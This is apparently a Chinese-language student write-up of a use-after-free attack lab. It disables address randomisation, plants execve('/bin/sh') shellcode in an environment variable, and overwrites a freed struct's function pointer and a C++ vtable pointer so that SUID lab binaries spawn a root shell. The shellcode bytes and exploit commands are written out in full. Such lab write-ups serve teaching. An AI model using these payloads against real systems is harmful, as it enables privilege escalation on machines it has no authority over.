当前位置: 代码迷 >> 综合 >> 漏洞挖掘——实验13 UAF Attack Lab
  详细解决方案

漏洞挖掘——实验13 UAF Attack Lab

热度:41   发布时间:2023-11-21 17:16:38.0

漏洞挖掘前言

题目

Lab

UAF Attack Lab

 

解答

Lab

UAF Attack Lab

Task1:UAF

攻击思路:把shellcode放入环境变量,由于vuln的释放和ptr1的重新申请,利用uaf漏洞把shellcode的地址覆盖在vuln->clean中保存的原cleanMemory位置上。这样在之后再调用vuln->clean时,实际调用的就是我们的shell code。

 

Step1环境配置和文件编译

关闭地址随机化,编译时打开栈可执行,赋予SUID权限。使用如下代码:

sudo sysctl -w kernel.randomize_va_space=0

su

gcc -o uaf -z execstack uaf.c

chmod 4755 uaf

 

Step2把shellcode放入环境变量并获得其地址

export EGG=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")

gcc -o get get.c

get

 

 

Step3实施攻击

加入24个nop是因为在clean前有4个字节的id和20字节的name

uaf $(python -c "print '\x90'*24+'\x93\xf2\xff\xbf'")

 

Task2:UAF2

Step1编译文件

g++ -o uaf2 uaf2.cpp

chmod 4755 uaf2

 

Step2寻找m、n的地址

反汇编主函数,在m的初始化快结束时,添加断点,观察m的起始地址

 

同理观察w的起始地址

 

Step3寻找m、n的虚表指针

 

Step4查看虚表中的内容

我们在w快构造结束时查看虚标中的内容

可以看出give_shell只在introduce前4个字节,也就是说我们只要把m、w的虚表指针减4即可将原本运行introduce转为运行give_shell。

 

Step5生成badfile

把0x804915c(指向give_shell)放入badfile

 

Step6实施攻击

执行漏洞文件uaf2,选择顺序为:3—>2—>2—>1

可以看出,攻击成功!

 

至此,SeedLabs系列实验全部结束

  相关解决方案